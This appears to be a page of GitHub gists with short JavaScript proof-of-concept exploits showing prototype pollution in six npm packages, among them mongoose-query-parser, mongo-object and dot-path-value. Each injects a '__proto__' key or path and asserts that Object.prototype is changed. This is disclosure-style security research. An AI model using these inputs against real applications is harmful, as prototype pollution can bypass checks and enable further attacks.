This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| A PoC exploit: | |
| ``` | |
| const {MongooseQueryParser} = require('mongoose-query-parser'); | |
| let parser = new MongooseQueryParser(); | |
| parser.parse('__proto__!%3Dpolluted=', {}); | |
| // or parser.parse({'__proto__!=polluted': undefined}, {}); | |
| console.log(({}).$ne); // output: polluted | |
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require('ember-cli-lodash-subset').merge({}, {['__proto__']: {polluted: 'yes'}}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var mo = require('mongo-object'); | |
| assert(({}).polluted === undefined); | |
| mo.expandKey('yes', '__proto__[polluted]', {}); | |
| assert(({}).polluted === 'yes'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Proof of Concept exploit: | |
| ``` | |
| var Path = require('path-object')(); | |
| assert(({}).polluted === undefined); | |
| Path().set('__proto__/__proto__/polluted', 'yes'); | |
| assert(({}).polluted === 'yes') | |
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| This vulnerability exists in `path.js` file of the package `object-resolve-path`. | |
| Here is the PoC for the vulnerability. | |
| ``` | |
| var Path = require('object-resolve-path/path'); | |
| assert(({}).polluted === undefined); | |
| Path.get(['__proto__', 'polluted']).setValueFrom({}, 'yes'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var path = require('dot-path-value'); | |
| assert(({}).polluted === undefined); | |
| path.setByPath({}, '__proto__.polluted', 'yes'); // malicious code | |
| assert(({}).polluted === 'yes'); |